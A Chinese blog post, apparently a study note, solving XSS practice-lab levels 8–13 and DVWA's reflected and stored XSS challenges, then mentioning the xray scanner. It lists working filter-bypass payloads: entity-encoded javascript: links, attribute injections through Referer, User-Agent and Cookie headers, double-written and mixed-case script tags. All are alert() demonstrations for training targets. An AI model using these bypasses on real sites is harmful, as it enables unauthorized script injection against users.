XSS基础学习(3)

XSS基础学习

六、靶场实践

(该靶场有bug,直接修改html代码,添加弹窗,就直接可以通关)

第八关
http://8.130.109.21:9995/level8.php?keyword=not%20bad!
// 输入点输入javascript:alert(`xss`) 查看页面源码发现
<a href="javascr_ipt:alert(`xss`);">,此时试试其他编码是否绕过
//payload 采用html实体编码
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;alert(1)
第九关
http://8.130.109.21:9995/level9.php?keyword=not%20bad!
//  输入点输入javascript:alert(`xss`)后查看页面源码
<a href="您的链接不合法?有没有!">,此处检测的是http://或者https://
构建新的payload  javascript:alert(`xss`);http://
查看源码:<a href="javascr_ipt:alert(`xss`);http://">,采用html实体编码,并且屏蔽http://,构建如下payload:
javasc&#x0072;&#x0069;pt:alert();//http://

第十关

http://8.130.109.21:9995/level10.php?keyword=well%20done!
// 页面没有发现输入框等,查看页面源码,
<form id="search">
<input name="t_link" value="" type="hidden">
<input name="t_history" value="" type="hidden">
<input name="t_sort" value="" type="hidden">
</form>
发现都被隐藏了,删除隐藏属性,修改html代码
<form id="search">
<input name="t_link" value="">
<input name="t_history" value="">
<input name="t_sort" value="">
 <button>点我</button>
</form>
修改后的页面出现了三个表单,如图1所示,分别填入,123,456,789点击提交
查看页面源码,
<input name="t_link"  value="" type="hidden">
<input name="t_history"  value="" type="hidden">
<input name="t_sort"  value="789" type="hidden">
说明只有name="t_sort",会提交数据,可以在该位置构造payload
//" onclick=" alert(1)" type="button

图1
第十一关
http://8.130.109.21:9995/level11.php?keyword=good%20job!
// 按照上一关的方法,发现“都被转义了,没法使用,但是比上一关多了一个t_ref=,测试该属性中value的值,来自于refer,此时,可以从refer输入payload,利用burpsuite或者浏览器插件hackbar都可以修改
" onclick="alert()" type="button
快捷通关,直接修改html代码即可,如图2所示

图2
第十二关
http://8.130.109.21:9995/level12.php?keyword=good%20job!
// 与上一关类似,只不过是将上一关的t_ref换成了t_ua,该属性中的值来自User-Agent,在User-Agent中输入payload即可通关,利用burpsuite或者浏览器插件hackbar都可以修改
//payload如下
" onclick="alert()" type="button
第十三关
http://8.130.109.21:9995/level13.php?keyword=good%20job!
// 与上一关类似,只不过是将上一关的t_ua换成了t_cook,该属性中的值来自Cookie,在Cookie中输入payload即可通关,利用burpsuite或者浏览器插件hackbar都可以修改
//payload如下
 user=" onclick="alert()" type="button

七、DVWA靶场的xss练习

1.初级
  • XSS (Reflected)

     <script>javascript:alert(1)</script>
    
  • XSS (Stored)

     <script>javascript:alert(1)</script>
    
2.中级
  • XSS (Reflected)

     在输入点输入<script>javascript:alert(1)</script>,查看源码
    <pre>Hello  javascript:alert(1)</script></pre>,<script>标签会消失,此时试试双写可不可以绕过
    <scri<script>pt>javascript:alert(1)</script>
    可以绕过
    
  • XSS (Stored)

     <script>javascript:alert(1)</script>
    查看数据库后,发现标签直接消失,此时在textname里面尝试大小写绕过,输入下面的payload(删除页面控制输入框字符长度的限制)
    <sCrIpT>alert(1)</ScRiPt>
    
3.高级
  • XSS (Reflected)

     <script>javascript:alert(1)</script>
    从输出的结果来看,发现最后就只留一个>,此时可以试试单标签,
    <input onfocus="alert('xss');">
    发现可以造成xss攻击
    
  • XSS (Stored)

    根据上一关,直接尝试在textname中写入单标签的payload
    <input onfocus="alert('xss');" autofocus>
    可以造成xss攻击
    

八、自动化xss测试

xray可以扫描出来,如下图3

图3

注意、xray扫描存储型xss时,用于靶场环境,在真实场景中,会将脏数据写入数据库,如下图4,在真实环境中存储型XSS基本都采用手工测试

图4
posted @ 2023-08-15 16:25  凉城厌心  阅读(21)  评论(0编辑  收藏  举报